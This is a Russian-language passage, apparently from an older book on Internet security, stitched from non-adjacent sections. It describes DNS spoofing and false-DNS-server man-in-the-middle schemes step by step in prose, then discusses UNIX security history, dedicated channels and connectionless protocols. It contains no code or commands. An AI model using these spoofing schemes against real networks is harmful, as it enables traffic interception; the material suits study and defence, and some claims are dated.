постоянная передача атакующим ложных DNS-ответов на атакуемый хост на различные UDP-порты и, возможно, с различными ID, от имени
(с IP-адреса) настоящего DNS-сервера с указанием имени интересующего хоста и его ложного IP-адреса, которым будет являться IP-адрес ложного сервера - хоста атакующего; в случае получения пакета от хоста, изменение в
IP-заголовке пакета его IP-адреса на IP-адрес атакующего и передача пакета на сервер (то есть ложный сервер ведет работу с сервером от своего имени - со своего IP-адреса); в случае получения пакета от сервера, изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного сервера и передача пакета на хост (для хоста ложный сервер и есть настоящий сервер).
Таким образом, реализация данной удаленной атаки, использующей пробелы в безопасности службы DNS, позволяет из любой точки сети Internet нарушить маршрутизацию между двумя заданными объектами (хос-тами)! Данная удаленная атака осуществляется межсегментно по отношению к цели атаки и угрожает безопасности любого хоста Internet, использующего обычную службу DNS.
Однако, видимо, большинство российских кракеров еще не доросли до столь утонченных методов сетевого взлома, как атака на DNS или любая другая атака из данной главы. После того, как был написан предыдущий абзац, нам довелось ознакомиться с интервью, которое якобы дал кракер, осуществивший этот взлом. Из него следовало, что атака использовала одну из известных "дыр" в WWW-сервере РОСНЕТа. Это и позволило атакующему подменить одну ссылку на другую. Осуществление атак такого типа является по сути тривиальным и не требует от взломщика практически никакой квалификации (подчеркнем - именно осуществление; совершенно другое дело - нахождение этой "дыры" ). Высокая квалификация необходима именно для поиска той самой уязвимости, используя которую можно взломать систему. Но, по глубокому убеждению авторов, обнаруживший уязвимость и осуществивший на ее базе взлом, скорее всего будутразными лицами, так как именно высокая квалификация специалиста, обнаружившего "дыру" , не позволит ему причинить ущерб простым пользователям. (Р. Т. Моррис не был исключением. Просто его червь из-за ошибки в коде вышел из-под контроля, и поэтому пользователям сети был нанесен определенный ущерб.)
Рис. 4.6.1. Внедрение в Internet
ложного сервера путем перехвата DNS-запроса от DNS-сервера.
Рис. 4.6.1.1. Фаза ожидания атакующим DNS-запроса от DNS-сервера
(для ускорения атакующий генерирует необходимый DNS-запрос).
Рис. 4.6.1.2. Фаза передачи атакующим
ложного DNS-ответа на DNS-сервер 1.
Рис. 4.6.2. Внедрение в Internet ложного сервера
путем создания направленного "шторма" ложных DNS-ответов
на атакуемый DNS-сервер.
Рис. 4.6.2.1. Атакующий создает направленный "шторм" ложных
DNS-ответов от имени одного из корневых
DNS-серверов и при этом провоцирует
атакуемый DNS-сервер, посылая DNS-запрос.
Рис. 4.6.2.2. DNS-сервер передает DNS-запрос на корневой DNS-сервер
и немедленно получает ложный DNS-ответ от атакующего.
В завершение хотелось бы снова вернуться к службе DNS и сказать, что, как следует из предыдущих пунктов, использование в сети Internet службы удаленного поиска DNS позволяет атакующему организовать в Internet удаленную атаку на любой хост, пользующийся услугами данной службы, и может пробить серьезную брешь в безопасности этой и так отнюдь не безопасной глобальной сети. Напомню, что, как указывал S. M. Bellovin в ставшей почти классической работе [14]: "A combined attack on the domain system and the routing mechanisms can be catastrophic"("Комбинация атаки на доменную систему и механизмы маршрутизации может привести к катастрофе" ).
Внедрение в сеть Internet ложного DNS-сервера путем перехвата DNS-запроса
В данном случае это удаленная атака на базе стандартной типовой УА, связанной с ожиданием поискового DNS-запроса. Перед тем, как рассмотреть алгоритм атаки на службу DNS, необходимо обратить внимание на следующие тонкости в работе этой службы.
Во-первых, по умолчанию служба DNS функционирует на базе протокола UDP (хотя возможно и использование протокола TCP) что, естественно, делает ее менее защищенной, так как протокол UDP в отличие от TCP вообще не предусматривает средств идентификации сообщений. Для того, чтобы перейти от UDP к TCP, администратору DNS-сервера придется очень серьезно изучить документацию (в стандартной документации на домен named в ОС Linux нет никакого упоминания о возможном выборе протокола (UDP или TCP), на котором будет работать DNS-сервер). Кроме того, этот переход несколько замедлит систему, так как при использовании TCP требуется создание виртуального соединения, и, кроме того, конечная сетевая ОС вначале посылает DNS-запрос с использованием протокола UDP. И только в том случае, если ей придет специальный ответ от DNS-сервера, сетевая ОС пошлет DNS-запрос с использованием TCP.
Во-вторых, следующая тонкость, на которую требуется обратить внимание, состоит в том, что значение поля "порт отправителя" в UDP-пакете вначале принимает значение ? 1023 и увеличивается с каждым переданным DNS-запросом.
В-третьих, значение идентификатора (ID) DNS-запроса ведет себя следующим образом. В случае передачи DNS-запроса с хоста это значение зависит от конкретного сетевого приложения, вырабатывающего DNS-запрос. Эксперименты показали, что в случае передачи запроса из оболочки командного интерпретатора (SHELL) операционных систем Linux и Windows '95 (например, ftp nic.funet.fi) это значение всегда равняется единице. В том случае, если DNS-запрос передается из Netscape Navigator, то с каждым новым запросом сам броузер увеличивает это значение на единицу. В том случае, если запрос передается непосредственно DNS-сервером, то сервер увеличивает это значение идентификатора на единицу с каждым вновь передаваемым запросом. Все эти тонкости имеют значение в случае атаки без перехвата DNS-запроса (п. 4.3.2 и 4.3.3).
Для реализации атаки путем перехвата DNS-запроса атакующему необходимо перехватить DNS-запрос, извлечь из него номер UDP-порта отправителя запроса, двухбайтовое значение ID идентификатора DNS-запроса и искомое имя и затем послать ложный DNS-ответ на извлеченный из DNS-запроса UDP-порт, в котором указать в качестве искомого IP-адреса настоящий IP-адрес ложного DNS-сервера. Это позволит в дальнейшем полностью перехватить трафик между атакуемым хостом и сервером и активно воздействовать на него по схеме "Ложный объект РВС" (п. 3.2.3.3).
Рассмотрим обобщенную схему работы ложного DNS-сервера (рис. 4.4):
ожидание DNS-запроса; извлечение из полученного запроса необходимых сведений и передача по сети на запросивший хост ложного DNS-ответа, от имени (с IP-адреса) настоящего DNS-сервера, в котором указывается IP-адрес ложного DNS-сервера; в случае получения пакета от хоста, изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного DNS-сервера и передача пакета на сервер (то есть ложный DNS-сервер ведет работу с сервером от своего имени); в случае получения пакета от сервера, изменение в IP-заголовке пакета его IP-адреса на IP-адрес ложного DNS-сервера и передача пакета на хост (для хоста ложный DNS-сервер и есть настоящий сервер).
Рис. 4.4. Функциональная схема ложного DNS-сервера.
Рис. 4.4.1. Фаза ожидания атакующим DNS-запроса
(он находится на ХА1, либо на ХА2).
Рис. 4.4.2. Фаза передачи атакующим ложного DNS-ответа.
Рис. 4.4.3. Фаза приема, анализа, воздействия и передачи
перехваченной информации на ложном сервере.
Необходимым условием осуществления данного варианта атаки является перехват DNS-запроса. Это возможно только в том случае, если атакующий находится либо на пути основного трафика, либо в сегменте настоящего DNS-сервера. Выполнение одного из этих условий местонахождения атакующего в сети делает подобную удаленную атаку трудно осуществимой на практике (попасть в сегмент DNS-сервера и, тем более, в межсегментный канал связи атакующему, скорее всего, не удастся). Однако в случае выполнения этих условий возможно осуществить межсегментную удаленную атаку на сеть Internet.
Отметим, что практическая реализация данной удаленной атаки выявила ряд интересных особенностей в работе протокола FTP и в механизме идентификации TCP-пакетов (подробнее см. п. 4.5). В случае, когда FTP-клиент на хосте подключался к удаленному FTP-серверу через ложный DNS-сервер, оказывалось, что каждый раз после выдачи пользователем прикладной команды FTP (например, ls, get, put и т. д.) FTP-клиент вырабатывал команду PORT, которая состояла в передаче на FTP-сервер в поле данных TCP-пакета номера порта и IP-адреса клиентского хоста (особый смысл в этих действиях трудно найти - зачем каждый раз передавать на FTP-сервер IP-адрес клиента)! Это приводило к тому, что, если на ложном DNS-сервере не изменить передаваемый IP-адрес в поле данных TCP-пакета и передать этот пакет на FTP-сервер по обыкновенной схеме, то следующий пакет будет передан FTP-сервером на хост FTP-клиента, минуя ложный DNS-сервер и, что самое интересное, этот пакет будет воспринят как нормальный пакет (п. 4.5), и, в дальнейшем, ложный DNS-сервер потеряет контроль над трафиком между FTP-сервером и FTP-клиентом! Это связано с тем, что обычный FTP-сервер не предусматривает никакой дополнительной идентификации FTP-клиента, а перекладывает все проблемы идентификации пакетов и соединения на более низкий уровень - уровень TCP (транспортный).
Всемогущество хакеров
Глубокое непонимание большинством обывателей проблем, связанных с информационной безопасностью в вычислительных системах, с течением времени сформировало определенный миф о всемогуществе хакеров и повсеместной беззащитности компьютерных систем. Да, отчасти этот миф является реальностью. Действительно, современные вычислительные системы и сети общего назначения имеют серьезнейшие проблемы с безопасностью. Но, подчеркнем, именно вычислительные системы общего назначения. Там же, где требуется обработка критической информации и обеспечение высшего уровня защиты и секретности (например, в военной области, в атомной энергетике и т. п.), используются специализированные защищенные ВС, которые (и это чрезвычайно важно!) в основном изолированы от сетей общего назначения (от сети Internet, например). Поэтому необходимо развеять первый миф, который очень популярен в художественной литературе, кино, а также в средствах массовой информации: кракер не может проникнуть извне в вычислительную систему стратегического назначения (например, в ВС атомной станции или пункта управления стратегическими вооружениями). Однако, речь идет о невозможности получения несанкционированного удаленного доступа именно "извне" . В том случае, если кракер из состава персонала защищенной ВС вознамерится нанести ущерб данной системе, то сложно абстрактно судить о том, насколько успешны будут его попытки.
В качестве примера напомним случай на Игналинской АЭС, когда местный системный программист внедрил в вычислительную систему программную закладку ("троянского коня" ), которая чуть не привела к аварии станции. Однако, как утверждает статистика, нарушения безопасности ВС собственным персоналом составляют около 90 процентов от общего числа нарушений. Подводя итог, мы не утверждаем, что критические вычислительные системы неуязвимы, практически невозможно лишь реализовать на них успешную удаленную атаку.
Прочитав этот пункт, недоверчивый читатель может заметить, что он лично встречал заметки о том, как "кракеры проникли в компьютер Пентагона или
НАСА" . Все дело в том, что, как и любая другая уважающая себя организация, будь то ЦРУ, АНБ или НАСА, они имеют свои WWW- или ftp-сервера, находящиеся в открытой сети и доступные всем. И кракеры в этом случае проникали именно в них (а ни в коем случае не в секретные или закрытые), используя, может быть, один из механизмов, описанных в этой книге.
Такое утверждение оказывается не совсем
Интернет - это сеть UNIX-машин. Такое утверждение оказывается не совсем справедливым в наше время (когда успех и конкурентоспособность операционной системы напрямую зависит от того, насколько легко они интегрируются в Сеть), однако Internet и его прадед - ARPANET возникли именно из необходимости связать между собой UNIX-компьютеры, которые были самыми распространенными и прогрессивными в то время. UNIX-идеология наложила свой отпечаток и на все основные сетевые протоколы, которые, казалось бы, должны быть операционно-независимыми.
Поэтому большинством всех проблем, которые возникают сегодня в Сети, - и особенно проблемами безопасности - мы должны быть "благодарны" UNIX. Мы ни в коем случае не хотим принизить значение принципов его построения для развития операционных систем, но общеизвестно, что у UNIX в ее классическом варианте слишком много проблем с безопасностью, причем эти проблемы настолько глубоки, что корректное и надежное их искоренение приведет к перерождению UNIX как таковой - это будет новая операционная система. Много пролито слез по этому поводу: "Ах, если бы разработчики UNIX уделили больше внимания безопасности" , - но не следует забывать, что все концепции UNIX прорабатывались в конце 60-х годов, когда еще практически не было никакой теории компьютерной безопасности, а раз работчики и вовсе делали ее "под себя" , не подозревая, насколько через несколько лет компьютерный мир станет теснее (появятся сети) и опаснее (появятся кракеры).
Поэтому естественно, что современные операционные системы (Novell Netware, Windows NT) оказываются в заведомо более выгодном положении - они разрабатывались, во-первых, с учетом ошибок UNIX, а во-вторых, они придерживаются четкой концепции клиент-сервер (не будем сейчас дискутировать об ее достоинствах и недостатках). Однако теория безопасности гласит, что безопасность системы определяется безопасностью ее слабейшего звена, и поэтому далее мы будем рассматривать безопасность интернета именно как безопасность UNIX-систем, которых и на сегодняшней день в интернете, видимо, 70- 80%. Это не означает, кстати, что остальные 20- 30% хорошо защищены и атаки на них невозможны - просто эти системы на сегодняшний день гораздо меньше изучены, и совсем не исключено, что в них найдутся такие же серьезные бреши в безопасности, как в UNIX, особенно учитывая, что и фирма Novell, и Microsoft далеко не безгрешны в этом отношении [9, 15].
Более того, самые последние события конца 1996 - начала 1997 года позволяют предположить, что не UNIX-совместимые ОС, несмотря на печальный опыт своей предшественницы, начинают проходить тот же самый путь и совершать те же самые ошибки в обеспечении безопасности (на другом витке спирали, естественно). Так уже несбыточная сегодня мечта всех кракеров удаленно утянуть файл /etc/passwd оказывается вполне реальной даже в такой более-менее защищенной ОС, как Windows NT (см. п. 8.6.5)
Выделенный канал связи между объектами распределенной ВС
Все объекты распределенной ВС взаимодействуют между собой по каналам связи. В п. 5.1.1 рассматривалась причина успеха УА, состоящая в использовании в РВС для связи между объектами широковещательной среды передачи которое означает, что все объекты распределенной ВС подключаются к одной общей шине (топология сети - "общая шина" , рис. 6.1). Это приводит к тому, что сообщение, предназначенное (адресованное) только одному объекту системы, будет получено всеми ее объектами. Однако только объект, адрес которого указан в заголовке сообщения как адрес назначения, будет считаться тем объектом, кому это сообщение непосредственно направлялось. Очевидно, что в РВС с топологией "общая шина" необходимо использовать специальные методы идентификации объектов (п. 6.2), так как идентификация на канальном уровне возможна только в случае использования сетевых криптокарт.
Также очевидно, что идеальной с точки зрения безопасности будет взаимодействие объектов распределенной ВС по выделенным каналам.
Существуют два возможных способа организации топологии распределенной ВС с выделенными каналами. В первом случае каждый объект связывается физическими линиями связи со всеми объектами системы (рис. 6.2). Во втором случае в системе может использоваться сетевой концентратор, через который осуществляется связь между объектами (топология "звезда" - рис. 6.3).
Следует заметить, что в этом случае нарушается один из принципов, на которых строилась сеть Internet: сеть должна функционировать при выходе из строя любой ее части.
Рис. 6.1. Сетевая топология "общая шина".
Рис. 6.2 . Сетевая топология "N-объектов - N-каналов".
Рис. 6.3. Сетевая топология "звезда".
Плюсы распределенной ВС с выделенными каналами связи между объектами состоят в следующем:
передача сообщений осуществляется напрямую между источником и приемником, минуя остальные объекты системы. В такой системе в случае отсутствия доступа к объектам, через которые осуществляется передача сообщения, не существует программной возможности для анализа сетевого трафика; имеется возможность идентифицировать объекты распределенной системы на канальном уровне по их адресам без использования специальных криптоалгоритмов шифрования трафика. Это оказывается, поскольку система построена так, что по данному выделенному каналу осуществима связь только с одним определенным объектом. Появление в такой распределенной системе ложного объекта невозможно без аппаратного вмешательства (подключение дополнительного устройства к каналу связи); система с выделенными каналами связи - это система, в которой отсутствует неопределенность с информацией о ее объектах (п. 5.1.5). Каждый объект в такой системе изначально однозначно идентифицируется и обладает полной информацией о других объектах системы.
К минусам РВС с выделенными каналами относятся:
сложность реализации и высокие затраты на создание системы; ограниченное число объектов системы (зависит от числа входов у концентратора); сложность внесения в систему нового объекта.
Очевидно также, что создание глобальной РВС с выделенными каналами потребует колоссальных затрат и возможно на сегодняшний день.
Анализируя все плюсы и минусы использования выделенных каналов для построения защищенных систем связи между объектами РВС, можно сделать вывод, что создание распределенных систем только с использованием широковещательной среды передачи или только с выделенными каналами неэффективно. Поэтому представляется правильным при построении распределенных вычислительных систем с разветвленной топологией и большим числом объектов использовать комбинированные варианты соединений объектов. Для обеспечения связи между объектами большой степени значимости можно использовать выделенный канал. Связь менее значимых объектов системы может осуществляться с использованием комбинации общая шина-выделенный канал.
В данном пункте были рассмотрены варианты сетевых топологий с выделенными каналами связи. При этом рассматривались только физические каналы связи и предлагались более или менее безопасные способы взаимодействия объектов системы по этим каналам. Однако выбор безопасной топологии РВС является необходимым, но отнюдь не достаточным условием для создания защищенных систем связи между объектами распределенных ВС.
Итак, в завершение данного пункта сформулируем первый принцип создания защищенных средств связи объектов в РВС:
Утверждение 1.
Наилучшее с точки зрения безопасности взаимодействие объектов в распределенной ВС возможно только по физически выделенному каналу.
Взаимодействие объектов без установления виртуального канала
Одним из важнейших вопросов, на который необходимо ответить, говоря об идентификации/аутентификации объектов/субъектов РВС, является вопрос о видах взаимодействия между субъектами и объектами в распределенной ВС. Как отмечалось в п. 3.2.2, взаимодействие между субъектами и объектами РВС бывает двух видов:
с использованием виртуального канала, без использования виртуального канала.
Практика показывает, что 99% взаимодействия между объектами в сети Internet проходит с установлением ВК (при любом FTP-, TELNET-, HTTP- и т. п. подключении используется протокол TCP, а, следовательно, создается ВК). Это происходит из-за того, что взаимодействие по виртуальному каналу является единственным динамическим способом защиты сетевого соединения объектов РВС. Дело в том, что в процессе создания ВК объекты РВС обмениваются динамически вырабатываемой ключевой информацией, позволяющей уникально идентифицировать канал. В противном случае для идентификации объектов распределенной системы пришлось бы использовать массив статической идентификационной информации, уникальной для каждого объекта в системе. А это означает, что мы получаем стандартную проблему статического распределения ключей (матрица NхN), которая решается только на ограниченном подмножестве объектов. Очевидно, что задача статического распределения ключей на сегодняшний день в принципе не может быть решена в сети Internet, да этого и не требуется.
Итак, мы показали, что идентификация объектов РВС, при отсутствии статической ключевой информации, возможна только при взаимодействии объектов с использованием виртуального канала. Это, в свою очередь, означает, что взаимодействие объектов без установления ВК является одной из возможных причин успеха удаленных атак на РВС.
Но ошибочно считать распределенную вычислительную систему безопасной, даже если все взаимодействие объектов происходит с созданием ВК. Об этом речь пойдет в следующем пункте.
Взаимодействие в сети Internet объектов без установления виртуального канала
Одной из особенностей сети Internet выступает взаимодействие объектов без создания виртуального канала. Очевидно, что разработчики планировали подобное взаимодействие в том случае, если оно не является критичным для системы и не требуется обеспечения его безопасности. Однако, как в случае управляющих ICMP-сообщений (которые уж никак не назовешь не критичными для системы!), так и в случае DNS-запросов используется связь без ВК. Это приводит к возможности осуществления УА, рассмотренных в п. 4.3 и 4.4.
Заканчивая чтение предложенного материала об
Заканчивая чтение предложенного материала об особенностях информационной безопасности Internet, читатель вправе спросить: что же делать?
Каковы реальные возможности защиты Internet? Каковы требования к режиму использования Internet, сводящему риск до допустимых пределов? Список вопросов, конечно, можно продолжить.
Сразу оговоримся, что для ответа на них необходимо писать следующую книгу, что, если позволят обстоятельства, авторы сделают. Постараемся, тем не менее, в сжатой форме изложить мнение авторов по этому поводу.
| | | | | | | | | | |
